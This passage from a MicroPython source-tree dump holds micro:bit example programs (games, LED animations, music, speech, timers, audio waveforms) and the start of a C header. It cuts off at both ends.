presses if ctr > 0: # Only execute if not zero microbit.display.scroll(str(ctr)) # Display the counter microbit.sleep(100) # Sleep for 100ms ================================================ FILE: micropython/examples/digital_water.py ================================================ """ Digital Water - your micro water simulator. By Tom Viner Explanation and see running: https://www.youtube.com/watch?v=OBTUjoc46Pk """ import microbit # define some constants DISPLAY_WIDTH = 5 DISPLAY_HEIGHT = 5 MIN_BRIGHTNESS = 0 MEDIUM_BRIGHTNESS = 4 MAX_BRIGHTNESS = 9 # this is how the accelerometer values 1g of gravity ONE_G = 1024 # Some maths functions to help us def clamp(minimum, n, maximum): """Return the nearest value to n, that's within minimum to maximum (incl) """ return max(minimum, min(n, maximum)) def rescale(src_scale, dest_scale, x): """Map one number scale to another For example, to convert a score of 4 stars out of 5 into a percentage: >>> rescale((0, 5), (0, 100), 4) 80.0 Great for mapping different input values into LED pixel brightnesses! """ src_start, src_end = src_scale # what proportion along src_scale x is: proportion = 1.0 * (x - src_start) / (src_end - src_start) dest_start, dest_end = dest_scale # apply our proportion to the dest_scale return proportion * (dest_end - dest_start) + dest_start # Helpers for controling the display def light(brightness, filter): """Light up all pixels matching the filter function """ brightness = clamp(MIN_BRIGHTNESS, round(brightness), MAX_BRIGHTNESS) for col in range(DISPLAY_WIDTH): for row in range(DISPLAY_HEIGHT): if filter(col, row): microbit.display.set_pixel(col, row, brightness) def fade_display(): """Reduce every pixel by 1 brightness level This means as we draw new things, the old ones will fade away """ for col in range(5): for row in range(5): brightness = microbit.display.get_pixel(col, row) # reduce by one, but make sure it's still in 0 to 9 brightness = clamp(MIN_BRIGHTNESS, brightness - 1, MAX_BRIGHTNESS) microbit.display.set_pixel(col, row, brightness) def paint_water(): """Use the accelerometer to paint a water level on the display """ # read the current orientation values from the accelerometer X, Y, Z = microbit.accelerometer.get_values() # map the force in the X-axis to a turn factor from -2 to 2 # -ONE_G is button A at the top, ONE_G is button B at the top turn_factor = rescale((-ONE_G, ONE_G), (-2, 2), X) # map the force in the Z-axis to a spill factor from -3 to 3 # this allows the water to cover the whole display when it's flat spill_factor = rescale((ONE_G, -ONE_G), (-3, 3), Z) # use the variables above to make a filter function, customised for the # current orientation of the micro:bit def filter(col, row): """For a given pixel position, decide if it should be on or not """ if Y < 0: # we're upside down, so reverse the y-axis value # (- 1 because we start counting rows from 0, not 1) row = DISPLAY_HEIGHT - 1 - row # remember rows count down from the top, so we want to light up all # the rows below the water line (when the micro:bit is help up straight) # The forumula here is of the form y = m*x + c # We have a couple of "- 2"s to centre the water level in the middle # of the display return row - 2 > -turn_factor * (col - 2) - spill_factor # we want the water to "dilute" when spread out across the whole display overall_brightness = rescale( (0, ONE_G), (MAX_BRIGHTNESS, MEDIUM_BRIGHTNESS), abs(Z) ) # light up the pixels when filter returns true, to the given bright level light(overall_brightness, filter) # loop forever painting watery pixels, sleeping and then fading as each pixel # washes away into the night while True: paint_water() microbit.sleep(100) # fade all pixels by one brightness level fade_display() ================================================ FILE: micropython/examples/dodge_game.py ================================================ """ Dodge game Get the player back and forth across the screen while dodging the enemy """ from microbit import * import music class Enemy: """ Enemy which moves vertically down the screen """ def __init__(self): self.x, self.y = 2, -1 def get_positions(self): return ((self.x, self.y), (self.x, self.y + 1 if self.y < 4 else 0)) def move(self): # Rotate back round to the top self.y = (self.y + 1) % 5 def draw(self): for x, y in self.get_positions(): display.set_pixel(x, y, 9) class Player: """ Left-right moving player which can be controlled with buttons """ RIGHT = 1 LEFT = -1 STOPPED = 0 LEFT_EDGE = 0 RIGHT_EDGE = 4 def __init__(self): self.alive = True self.score = 0 self.just_scored = False self.x, self.y = self.LEFT_EDGE, 2 self.direction = self.STOPPED def get_position(self): return (self.x, self.y) def die(self): """ Player dies - show their score and play sad music """ self.alive = False display.show(str(self.score)) music.play(music.WAWAWAWAA) def move(self): """ Move the player one step further in their current direction """ self.just_scored = False self.x += self.direction if self.x in (self.LEFT_EDGE, self.RIGHT_EDGE): # Player reached the edge - another run survived! if self.direction != self.STOPPED: self.score += 1 self.just_scored = True self.direction = self.STOPPED def draw(self): """ Draw the player """ display.set_pixel(self.x, self.y, 9) if self.just_scored: music.pitch(400, 40) def act_on_input(self): # If we're standing still, look for a button press. if self.direction == self.STOPPED: if button_b.was_pressed() and self.x == self.LEFT_EDGE: self.direction = self.RIGHT elif button_a.was_pressed() and self.x == self.RIGHT_EDGE: self.direction = self.LEFT class Game: def __init__(self): self.enemy = Enemy() self.player = Player() self.frame_rate = 1 def detect_collisions(self): """ Have the player and the enemy collided? """ return self.player.get_position() in self.enemy.get_positions() def do_frame(self): """ Called once per frame to advance the game state """ # Adjust the speed as the player's score gets higher # (But don't let it exceed the actual frame rate) self.frame_rate = max(1, min(100, self.player.score)) if self.player.alive: display.clear() self.enemy.move() self.player.act_on_input() self.player.move() if self.detect_collisions(): self.player.die() else: self.enemy.draw() self.player.draw() game = Game() while True: timestamp = running_time() game.do_frame() # Keep the frame rate consistent new_timestamp = running_time() time_taken = (new_timestamp - timestamp) interval = 1000 // game.frame_rate if time_taken < interval: sleep(interval - time_taken) timestamp = new_timestamp ================================================ FILE: micropython/examples/flame_simulation.py ================================================ ### Flame simulation on the Microbit. ### Author: M. Schafer 2016 # This program has been placed into the public domain. import microbit, random # User adjustable values for range of brightness in flames. MIN_BRIGHTNESS = 1 MAX_BRIGHTNESS = 8 # fixed for the Microbit DISPLAY_WIDTH = 5 DISPLAY_HEIGHT = 5 INVERT_DISPLAY = True # flame can be oriented in either direction # MASK to create fire shape. multiplies values % MASK = [[ 88, 100, 100, 100, 88 ], [ 60, 95, 100, 95, 60 ], [ 50, 88, 90, 88, 50 ], [ 33, 75, 88, 75, 33 ], [ 10, 33, 66, 33, 10 ] ] # Generate a new bottom row of random values for the flames def generate_line(start=MIN_BRIGHTNESS, end=MAX_BRIGHTNESS): "start and end define range of dimmest to brightest 'flames'" return [start + random.randrange(end-start) for i in range(DISPLAY_WIDTH)] # shift all values in the grid up one row def shift_up(grid, newline): "Shift up lines in grid, add newline at bottom" for y in range(DISPLAY_HEIGHT-1, 0, -1): grid[y] = grid[y-1] # lowest line for x in range(DISPLAY_WIDTH): grid[0] = newline # write a frame to the screen. # Interpolate values based on percent def interpolate_frame(screen, pcnt, grid, line): """ Interpolate new values by reading from grid and writing to the screen """ # each row interpolates with the one before it for y in range(DISPLAY_HEIGHT-1, 0, -1): for x in range(DISPLAY_WIDTH): mask = MASK[y][x] newval = ((100-pcnt) * grid[y][x] + pcnt * grid[y-1][x] ) / 100.0 newval = mask * newval / 100.0 if INVERT_DISPLAY: screen.set_pixel(x, DISPLAY_HEIGHT-y-1, int(newval)) else: screen.set_pixel(x, y, int(newval)) # first row interpolates with the "next" line for x in range(DISPLAY_WIDTH): mask = MASK[y][x] newval = ((100-pcnt) * grid[0][x] + pcnt * line[x]) / 100.0 newval = mask * newval / 100.0 if INVERT_DISPLAY: screen.set_pixel(x, DISPLAY_HEIGHT-1, int(newval)) else: screen.set_pixel(x, 0, int(newval)) ## Setup line = generate_line() grid = [[0 for i in range(DISPLAY_WIDTH)] for i in range(DISPLAY_HEIGHT)] SCREEN = microbit.display percent = 0 # counter to see when to re-interpolate sleeptime = 0 # delay between updates percent_increment = 25 # how fast we interpolate fire # loop forever while True: if percent > 100: # move everything up a line, insert new bottom row line = generate_line() shift_up(grid, line) percent = 0 # Check Buttons to see if changing # button_a = smoothness if microbit.button_a.was_pressed(): percent_increment += 5 if percent_increment > 50: percent_increment = 1 print("percent interpolate=", percent_increment) # button_b = delay if microbit.button_b.was_pressed(): sleeptime += 10 if sleeptime > 100: sleeptime = 0 print("sleeptime=", sleeptime) # draw frame and sleep interpolate_frame(SCREEN, percent, grid, line) microbit.sleep(sleeptime) # update main counters percent += percent_increment ================================================ FILE: micropython/examples/flappybit.py ================================================ ''' Flappy Bit Control the bit by tilting the micro:bit Avoid the obstacles Create your own terrain by editing the terrain list below: ''' import music from microbit import (accelerometer, display, sleep, Image, reset, ) display.scroll('Flappy Bit') bird = 2 terrain = [ (0, 0), (0, 0), (0, 0), (0, 0), (0, 2), (0, 0), (0, 0), (3, 0), (3, 0), (4, 0), (3, 0), (0, 0), (0, 0), (0, 1), (2, 0), (3, 0), (4, 0), (3, 0), (0, 0), (0, 1), (2, 0), ] terrain_multiplier = 5 pos = 0 while True: sleep(100) if -256 < accelerometer.get_y() < 450: bird = max(0, bird - 1) elif 568 < accelerometer.get_y() < 1024: bird = min(4, bird + 1) display.clear() display.set_pixel(0, bird, 9) pos_terrain = pos // terrain_multiplier lost_status = False for column, (top, bottom) in enumerate( terrain[pos_terrain:pos_terrain + 5]): for y in range(top): display.set_pixel(column, y, 4) if column == 0 and bird == y: lost_status = True for y in range(bottom): display.set_pixel(column, 4 - y, 4) if column == 0 and bird == (4 - y): lost_status = True if lost_status: display.show(Image.SAD) music.play(music.FUNERAL) reset() pos += 1 if pos_terrain > len(terrain): pos = 0 ================================================ FILE: micropython/examples/four_buttons.py ================================================ """Four buttons - 2 buttons + 2 more "buttons"! A little example of using pins 1 & 2 an extra 2 buttons. By Tom Viner Explanation and see running: https://www.youtube.com/watch?v=6ofUJ6Mgk4k """ import microbit # define some constants DISPLAY_WIDTH = 5 DISPLAY_HEIGHT = 5 MIN_BRIGHTNESS = 0 MAX_BRIGHTNESS = 9 # A maths functions to help us def clamp(minimum, n, maximum): """Return the nearest value to n, that's within minimum to maximum (incl) """ return max(minimum, min(n, maximum)) # Helpers for controling the display def light(brightness, filter): """Light up all pixels matching the filter function """ brightness = clamp(MIN_BRIGHTNESS, round(brightness), MAX_BRIGHTNESS) for col in range(DISPLAY_WIDTH): for row in range(DISPLAY_HEIGHT): if filter(col, row): microbit.display.set_pixel(col, row, brightness) def light_column(column): """Light up a whole column to max brightness """ def filter_column(col, row): """For a given pixel position, turn on if it matches our column """ return col == column light(MAX_BRIGHTNESS, filter_column) def light_row(row): """Light up a whole row to max brightness """ def filter_row(col, rw): """For a given pixel position, turn on if it matches our row """ return rw == row light(MAX_BRIGHTNESS, filter_row) def fade_display(): """Reduce every pixel by 1 brightness level This means as we draw new things, the old ones will fade away """ for col in range(5): for row in range(5): brightness = microbit.display.get_pixel(col, row) # reduce by one, but make sure it's still in 0 to 9 brightness = clamp(MIN_BRIGHTNESS, brightness - 1, MAX_BRIGHTNESS) microbit.display.set_pixel(col, row, brightness) def paint_box(top=0, bottom=DISPLAY_HEIGHT-1, left=0, right=DISPLAY_WIDTH-1): """Draw a filled in rectangle on the display """ def filter_box(col, row): """For a given pixel position, turn it on if it's with the bounds """ # remember rows count from 0 at the top! correct_vertical = top <= row <= bottom correct_horizontal = left <= col <= right return correct_vertical and correct_horizontal light(MAX_BRIGHTNESS, filter_box) # Our main functions def pin_is_touched(n): """Pass in a pin number (1 or 2), get back True if it's being touched right now In this way, it acts just like microbit.button_a.is_pressed() """ pin = getattr(microbit, 'pin{}'.format(n)) return pin.read_analog() > 300 def four_buttons(): """Push buttons, touch pins, see if you can light up the whole display! """ a_is_pressed = microbit.button_a.is_pressed() b_is_pressed = microbit.button_b.is_pressed() # let's call the two pin-buttons c and d: c_is_pressed = pin_is_touched(1) d_is_pressed = pin_is_touched(2) if a_is_pressed: light_row(2) paint_box(right=1) if b_is_pressed: light_row(3) paint_box(left=3) if c_is_pressed: light_column(1) paint_box(bottom=1) if d_is_pressed: light_column(3) paint_box(top=3) while True: four_buttons() microbit.sleep(10) # fade all pixels by one brightness level fade_display() ================================================ FILE: micropython/examples/i_feel_today.py ================================================ """ Program that shows different emotions. Push button "A" to become sadder and "B" to become happier. """ from microbit import * horror = Image("09090:00000:09990:90009:99999") better_meh = Image("00000:09090:00000:99999:00000") joy = Image("09090:00000:99999:90009:09990") emotions = [horror, Image.SAD, better_meh, Image.HAPPY, joy] current_emotion = 2 while True: if button_a.get_presses(): current_emotion = max(current_emotion - 1, 0) elif button_b.get_presses(): current_emotion = min(current_emotion + 1, 4) display.show(emotions[current_emotion]) ================================================ FILE: micropython/examples/led_dance.py ================================================ # Light LEDs at random and make them fade over time # # Usage: # # led_dance(delay) # # 'delay' is the time between each new LED being turned on. # # TODO The random number generator is not great. Perhaps the accelerometer # or compass could be used to add entropy. import microbit import random def led_dance(delay): dots = [ [0]*5, [0]*5, [0]*5, [0]*5, [0]*5 ] while True: dots[random.randrange(5)][random.randrange(5)] = 8 for i in range(5): for j in range(5): microbit.display.set_pixel(i, j, dots[i][j]) dots[i][j] = max(dots[i][j] - 1, 0) microbit.sleep(delay) led_dance(100) ================================================ FILE: micropython/examples/magic8.py ================================================ # Magic 8 ball by Nicholas Tollervey. February 2016. # # Ask a question then shake. # # This program has been placed into the public domain. from microbit import * import random answers = [ "It is certain", "It is decidedly so", "Without a doubt", "Yes, definitely", "You may rely on it", "As I see it, yes", "Most likely", "Outlook good", "Yes", "Signs point to yes", "Reply hazy try again", "Ask again later", "Better not tell you now", "Cannot predict now", "Concentrate and ask again", "Don't count on it", "My reply is no", "My sources say no", "Outlook not so good", "Very doubtful", ] while True: display.show('8') if accelerometer.was_gesture('shake'): display.clear() sleep(1000) display.scroll(random.choice(answers)) sleep(10) ================================================ FILE: micropython/examples/maze.py ================================================ """ A simple maze program. You are the flashing dot and can walk around using the accelerometer. """ import microbit d = microbit.display ac = microbit.accelerometer # the maze data, as binary numbers (outside walls are added automatically) maze = [ 0b0000000000000000, 0b0100010101011110, 0b0100010101010010, 0b0111110100000000, 0b0000000111111110, 0b0111111101000000, 0b0101010001011100, 0b0101000100000100, 0b0100011111111100, 0b0101010001000110, 0b0101000100010010, 0b0101010111010110, 0b0111010101010010, 0b0000010100010010, 0b0111110111111110, 0b0000000000000000, ] def get_maze(x, y): if 0 <= x < 16 and 0 <= y < 16: return (maze[y] >> (15 - x)) & 1 else: return 1 def draw(x, y, tick): img = microbit.Image(5,5) for j in range(5): for i in range(5): img.set_pixel(i, j, get_maze(x + i - 2, y + j - 2)*5) # draw the player, flashing img.set_pixel(2, 2, (tick & 1)*4+5) d.show(img) def main(): x = 0 y = 0 tick = 0 while True: tick += 1 if tick == 4: # walk around, with collision detection tick = 0 if ac.get_x() > 200 and get_maze(x + 1, y) == 0: x += 1 elif ac.get_x() < -200 and get_maze(x - 1, y) == 0: x -= 1 elif ac.get_y() > 200 and get_maze(x, y + 1) == 0: y += 1 elif ac.get_y() < -200 and get_maze(x, y - 1) == 0: y -= 1 x = min(15, max(0, x)) y = min(15, max(0, y)) # draw the maze draw(x, y, tick) microbit.sleep(50) main() ================================================ FILE: micropython/examples/music.py ================================================ """ music.py ~~~~~~~~ Plays a simple tune using the Micropython music module. This example requires a speaker/buzzer/headphones connected to P0 and GND. """ from microbit import * import music # play Prelude in C. notes = [ 'c4:1', 'e', 'g', 'c5', 'e5', 'g4', 'c5', 'e5', 'c4', 'e', 'g', 'c5', 'e5', 'g4', 'c5', 'e5', 'c4', 'd', 'a', 'd5', 'f5', 'a4', 'd5', 'f5', 'c4', 'd', 'a', 'd5', 'f5', 'a4', 'd5', 'f5', 'b3', 'd4', 'g', 'd5', 'f5', 'g4', 'd5', 'f5', 'b3', 'd4', 'g', 'd5', 'f5', 'g4', 'd5', 'f5', 'c4', 'e', 'g', 'c5', 'e5', 'g4', 'c5', 'e5', 'c4', 'e', 'g', 'c5', 'e5', 'g4', 'c5', 'e5', 'c4', 'e', 'a', 'e5', 'a5', 'a4', 'e5', 'a5', 'c4', 'e', 'a', 'e5', 'a5', 'a4', 'e5', 'a5', 'c4', 'd', 'f#', 'a', 'd5', 'f#4', 'a', 'd5', 'c4', 'd', 'f#', 'a', 'd5', 'f#4', 'a', 'd5', 'b3', 'd4', 'g', 'd5', 'g5', 'g4', 'd5', 'g5', 'b3', 'd4', 'g', 'd5', 'g5', 'g4', 'd5', 'g5', 'b3', 'c4', 'e', 'g', 'c5', 'e4', 'g', 'c5', 'b3', 'c4', 'e', 'g', 'c5', 'e4', 'g', 'c5', 'a3', 'c4', 'e', 'g', 'c5', 'e4', 'g', 'c5', 'a3', 'c4', 'e', 'g', 'c5', 'e4', 'g', 'c5', 'd3', 'a', 'd4', 'f#', 'c5', 'd4', 'f#', 'c5', 'd3', 'a', 'd4', 'f#', 'c5', 'd4', 'f#', 'c5', 'g3', 'b', 'd4', 'g', 'b', 'd', 'g', 'b', 'g3', 'b3', 'd4', 'g', 'b', 'd', 'g', 'b' ] music.play(notes) ================================================ FILE: micropython/examples/neopixel_random.py ================================================ """ neopixel_random.py Repeatedly displays random colours onto the LED strip. This example requires a strip of 8 Neopixels (WS2812) connected to pin0. """ from microbit import * import neopixel from random import randint # Setup the Neopixel strip on pin0 with a length of 8 pixels np = neopixel.NeoPixel(pin0, 8) while True: #Iterate over each LED in the strip for pixel_id in range(0, len(np)): red = randint(0, 60) green = randint(0, 60) blue = randint(0, 60) # Assign the current LED a random red, green and blue value between 0 and 60 np[pixel_id] = (red, green, blue) # Display the current pixel data on the Neopixel strip np.show() sleep(100) ================================================ FILE: micropython/examples/play_file.py ================================================ #Plays a file on the specified pins. import audio def audio_generator(file, frame): ln = -1 while ln: ln = file.readinto(frame) yield frame def play_file(name, pin=None, return_pin=None): #Do allocation here, as we can't do it in an interrupt. frame = audio.AudioFrame() with open(name) as file: audio.play(audio_generator(file, frame), pin=pin, return_pin=return_pin) ================================================ FILE: micropython/examples/pomodoro.py ================================================ """ A simple pomodoro timer. It times a 25 minute work session then 5 minutes rest. Press the reset button to restart the timer. """ from microbit import * # Tweak CLOCK_ADJUST to make your system clock more accurate. # My clock is too fast by 4 seconds every minute so I use 4/60. # If your clock is too slow by 3 seconds every minute use -3/60. CLOCK_ADJUST = 4/60 ALL_LEDS_ON = Image('99999:'*5) def index_to_xy(i): x = i % 5 y = int(i / 5) return x, y def show_alarm(): for i in range(10): display.show(ALL_LEDS_ON) sleep(250) display.clear() sleep(250) def run_timer(seconds, LED_state): interval = int(seconds * 1000 / 25 * (1 + CLOCK_ADJUST)) intervals_remaining = 25 timer = running_time() while intervals_remaining > 0: # Every interval set a pixel to LED_state time = running_time() if time - timer >= interval: timer = time x, y = index_to_xy(intervals_remaining - 1) display.set_pixel(x, y, LED_state) intervals_remaining -= 1 print("pomodoro timer") # time the pomodoro work session, 25 minutes display.scroll("Go!") display.show(ALL_LEDS_ON) run_timer(25 * 60, 0) show_alarm() # time the pomodoro break, 5 minutes display.scroll("break") display.clear() run_timer(5 * 60, 1) show_alarm() display.show(Image.NO) print("finished\n") print("Press the reset button to restart timer.") ================================================ FILE: micropython/examples/radio.py ================================================ # A micro:bit Firefly. # By Nicholas H.Tollervey. Released to the public domain. import radio import random from microbit import display, Image, button_a, sleep # Create the "flash" animation frames. Can you work out how it's done? flash = [Image().invert()*(i/9) for i in range(9, -1, -1)] # The radio won't work unless it's switched on. radio.on() # Event loop. while True: # Button A sends a "flash" message. if button_a.was_pressed(): radio.send('flash') # a-ha # Read any incoming messages. incoming = radio.receive() if incoming == 'flash': # If there's an incoming "flash" message display # the firefly flash animation after a random short # pause. sleep(random.randint(50, 350)) display.show(flash, delay=100, wait=False) # Randomly re-broadcast the flash message after a # slight delay. if random.randint(0, 9) == 0: sleep(500) radio.send('flash') # a-ha ================================================ FILE: micropython/examples/reverb.py ================================================ import audio def from_file(file, frame): ln = -1 while ln: ln = file.readinto(frame) yield frame def reverb_gen(src, buckets, reflect, fadeout): bucket_count = len(buckets) bucket = 0 for frame in src: echo = buckets[bucket] echo *= reflect echo += frame yield echo buckets[bucket] = echo bucket += 1 if bucket == bucket_count: bucket = 0 while fadeout: fadeout -= 1 echo = buckets[bucket] echo *= reflect yield echo buckets[bucket] = echo bucket += 1 if bucket == bucket_count: bucket = 0 def reverb(src, delay, reflect): #Do all allocation up front, so we don't need to do any in the generator. bucket_count = delay>>2 buckets = [ None ] * bucket_count for i in range(bucket_count): buckets[i] = audio.AudioFrame() vol = 1.0 fadeout = 0 while vol > 0.05: fadeout += bucket_count vol *= reflect return reverb_gen(src, buckets, reflect, fadeout) def play_file(name, delay=80, reflect=0.5): #Do allocation here, as we can't do it in an interrupt. frame = audio.AudioFrame() with open(name) as file: gen = from_file(file, frame) r = reverb(gen, delay, reflect) audio.play(r) ================================================ FILE: micropython/examples/simple_slalom.py ================================================ # Simple Slalom by Larry Hastings, September 2015 # # This program has been placed into the public domain. import microbit as m import random p = m.display.show min_x = -1024 max_x = 1024 range_x = max_x - min_x wall_min_speed = 400 player_min_speed = 200 wall_max_speed = 100 player_max_speed = 50 speed_max = 12 while True: i = m.Image('00000:'*5) s = i.set_pixel player_x = 2 wall_y = -1 hole = 0 score = 0 handled_this_wall = False wall_speed = wall_min_speed player_speed = player_min_speed wall_next = 0 player_next = 0 while True: t = m.running_time() player_update = t >= player_next wall_update = t >= wall_next if not (player_update or wall_update): next_event = min(wall_next, player_next) delta = next_event - t m.sleep(delta) continue if wall_update: # calculate new speeds speed = min(score, speed_max) wall_speed = wall_min_speed + int((wall_max_speed - wall_min_speed) * speed / speed_max) player_speed = player_min_speed + int((player_max_speed - player_min_speed) * speed / speed_max) wall_next = t + wall_speed if wall_y < 5: # erase old wall use_wall_y = max(wall_y, 0) for wall_x in range(5): if wall_x != hole: s(wall_x, use_wall_y, 0) wall_reached_player = (wall_y == 4) if player_update: player_next = t + player_speed # find new x coord x = m.accelerometer.get_x() x = min(max(min_x, x), max_x) # print("x accel", x) s(player_x, 4, 0) # turn off old pixel x = ((x - min_x) / range_x) * 5 x = min(max(0, x), 4) x = int(x + 0.5) # print("have", position, "want", x) if not handled_this_wall: if player_x < x: player_x += 1 elif player_x > x: player_x -= 1 # print("new", position) # print() if wall_update: # update wall position wall_y += 1 if wall_y == 7: wall_y = -1 hole = random.randrange(5) handled_this_wall = False if wall_y < 5: # draw new wall use_wall_y = max(wall_y, 0) for wall_x in range(5): if wall_x != hole: s(wall_x, use_wall_y, 6) if wall_reached_player and not handled_this_wall: handled_this_wall = True if (player_x != hole): # collision! game over! break score += 1 if player_update: s(player_x, 4, 9) # turn on new pixel p(i) p(i.SAD) m.sleep(1000) m.display.scroll("Score:" + str(score)) while True: if (m.button_a.is_pressed() and m.button_a.is_pressed()): break m.sleep(100) ================================================ FILE: micropython/examples/speech.py ================================================ import speech from microbit import sleep # The say method attempts to convert English into phonemes. speech.say("I can sing!") sleep(1000) speech.say("Listen to me!") sleep(1000) # Clearing the throat requires the use of phonemes. Changing # the pitch and speed also helps create the right effect. speech.pronounce("AEAE/HAEMM", pitch=200, speed=100) # Ahem sleep(1000) # Singing requires a phoneme with an annotated pitch for each syllable. solfa = [ "#115DOWWWWWW", # Doh "#103REYYYYYY", # Re "#94MIYYYYYY", # Mi "#88FAOAOAOAOR", # Fa "#78SOHWWWWW", # Soh "#70LAOAOAOAOR", # La "#62TIYYYYYY", # Ti "#58DOWWWWWW", # Doh ] # Sing the scale ascending in pitch. song = ''.join(solfa) speech.sing(song, speed=100) # Reverse the list of syllables. solfa.reverse() song = ''.join(solfa) # Sing the scale descending in pitch. speech.sing(song, speed=100) ================================================ FILE: micropython/examples/tiltmusic.py ================================================ # TiltMusic by Alex "Chozabu" P-B. September 2016. # # Tilt Y to change Pitch # press A to turn sound on or off # hold B and tilt X to change the note length # # A quick demo can be found at https://youtu.be/vvECQTDiWxQ # # This program has been placed into the public domain. from microbit import * import music #A selection of sharp notes notes = [233.08, 277.18, 311.13, 369.99, 415.30, 466.16, 554.37, 622.25, 739.99, 830.61, 932.33, 1108.73, 1244.51, 1479.98, 1661.22, 1864.66, 2217.46, 2489.02, 2959.96, 3322.44, 3729.31, 4434.92, 4978.03, 5919.91, 6644.88, 7458.62] #note lengths note_durations = [ 50, 100, 200, 400, 800 ] durationlen = len(note_durations) notelen = len(notes) duration = 100 play_music = True while True: #get accelerometer readings xreading = abs(accelerometer.get_x()) yreading = abs(accelerometer.get_y()) #use a to toggle music if button_a.was_pressed(): play_music = not play_music if not play_music: continue #get a note based on tilt note = xreading*.01 pitch = notes[int(note)%notelen] #if b is pressed, alter the length based on tilt if button_b.is_pressed() == 1: #pitch *= .5 duration = note_durations[int(yreading*0.01)%durationlen] #play our sound! music.pitch(int(pitch), duration) ================================================ FILE: micropython/examples/watch.py ================================================ ###################################################### # A watch (as in a small clock for your wrist or pocket) # # Button A sets the mode: Clock or Setting time # Button B # in clock mode: shows the time as a scrolling display # in setting mode: increments the time # # The LED array displays the clock time in the format hh:mm. # The digits of the time are represented by columns of LEDs. # # The digits 1 - 5 are represented by more LEDs being lit from # the bottom up. # # For instance the digit 3 would look like: # # . # . # X # X # X # # # The digits 6 - 9 are represented by LEDs being turned off from # the bottom up. The digit 6 would look like: # # X # X # X # X # . # # The centre column is a colon flashing once a second to separate hours from minutes. # # The time 17:49 would look like: # # . X . . X # . X . X . # . X . X . # . . . X . # X . . X . # # ###################################################### from microbit import * # Tweak CLOCK_ADJUST to make your system clock more accurate. # My clock is too fast by 4 seconds every minute so I use 4/60. # If your clock is too slow by 3 seconds every minute use -3/60. CLOCK_ADJUST = 4/60 last_button_a_state = False last_button_b_state = False last_display_time = 0 base_time = 0 mode = 0 modes = {0:"clock", 1:"set h", 2:"mx10", 3:"m"} def decode_time(milliseconds): """Converts a time in milliseconds into a string with hours:minutes,""" mins = int(milliseconds / (1000 * 60) % 60) hrs = int(milliseconds / (1000 * 60 * 60) % 24) return "{h:0>2}:{m:0>2}".format(h=hrs, m=mins) def show_time(time): time_string = decode_time(time) for i in range(5): if time_string[i].isdigit(): d = int(time_string[i]) plot_LED_column(i, d) show_colon(mode==0 and int((time / 1000) % 2)) def show_colon(visible): display.set_pixel(2, 1, visible*9) display.set_pixel(2, 3, visible*9) def get_clock_time(): global base_time sys_time = running_time() / (1 + CLOCK_ADJUST) time = (sys_time - base_time) % (24 * 60 * 60 * 1000) base_time = sys_time - time return time def plot_LED_column(column, number): """plots a column of LEDs to represent a number from 0 - 9""" if number > 9: number = 9 if number <= 5: for i in range(4, -1, -1): if i < 5 - number: display.set_pixel(column, i, 0) else: display.set_pixel(column, i, 9) if number > 5: for i in range(4, -1, -1): if i < 5 - (number - 5): display.set_pixel(column, i, 9) else: display.set_pixel(column, i, 0) while True: # detect a change in button A's state, the Mode button button_a_state = button_a.is_pressed() if button_a_state != last_button_a_state: last_button_a_state = button_a_state #increment the mode if button_a_state == True: mode = (mode + 1) % 4 display.scroll(modes[mode]) show_time(get_clock_time()) # detect a change in button B's state, the increment / select button button_b_state = button_b.is_pressed() if button_b_state != last_button_b_state: last_button_b_state = button_b_state if button_b_state == True: # button B's action depends on the current mode if mode == 0: #show time display.scroll(decode_time(get_clock_time())) elif mode == 1: #setting time: increment hour units base_time = base_time - (60 * 60 * 1000) elif mode == 2: #setting time: increment minute tens base_time = base_time - (10 * 60 * 1000) elif mode == 3: #setting time: increment minute units base_time = base_time - (60 * 1000) show_time(get_clock_time()) #If in clock mode update the display every second if mode == 0: display_time = running_time() - last_display_time if display_time >= 1000: last_display_time = display_time show_time(get_clock_time()) sleep(100) ================================================ FILE: micropython/examples/waveforms.py ================================================ from microbit import display, sleep, button_a import audio import math def repeated_frame(frame, count): for i in range(count): yield frame # Press button A to skip to next wave. def show_wave(name, frame, duration=1500): display.scroll(name + " wave", wait=False,delay=100) audio.play(repeated_frame(frame, duration),wait=False) for i in range(75): sleep(100) if button_a.is_pressed(): display.clear() audio.stop() break frame = audio.AudioFrame() for i in range(len(frame)): frame[i] = int(math.sin(math.pi*i/16)*124+128.5) show_wave("Sine", frame) triangle = audio.AudioFrame() QUARTER = len(triangle)//4 for i in range(QUARTER): triangle[i] = i*15 triangle[i+QUARTER] = 248-i*15 triangle[i+QUARTER*2] = 128-i*15 triangle[i+QUARTER*3] = i*15+8 show_wave("Triangle", triangle) square = audio.AudioFrame() HALF = len(square)//2 for i in range(HALF): square[i] = 8 square[i+HALF] = 248 show_wave("Square", square) sleep(1000) for i in range(len(frame)): frame[i] = 252-i*8 show_wave("Sawtooth", frame) del frame #Generate a waveform that goes from triangle to square wave, reasonably smoothly. frames = [ None ] * 32 for i in range(32): frames[i] = frame = audio.AudioFrame() for j in range(len(triangle)): frame[j] = (triangle[j]*(32-i) + square[j]*i)>>5 def repeated_frames(frames, count): for frame in frames: for i in range(count): yield frame display.scroll("Ascending wave", wait=False) audio.play(repeated_frames(frames, 60)) ================================================ FILE: micropython/inc/extmod/machine_mem.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_EXTMOD_MACHINE_MEM_H #define MICROPY_INCLUDED_EXTMOD_MACHINE_MEM_H #include "py/obj.h" typedef struct _machine_mem_obj_t { mp_obj_base_t base; unsigned elem_size; // in bytes } machine_mem_obj_t; extern const mp_obj_type_t machine_mem_type; extern const machine_mem_obj_t 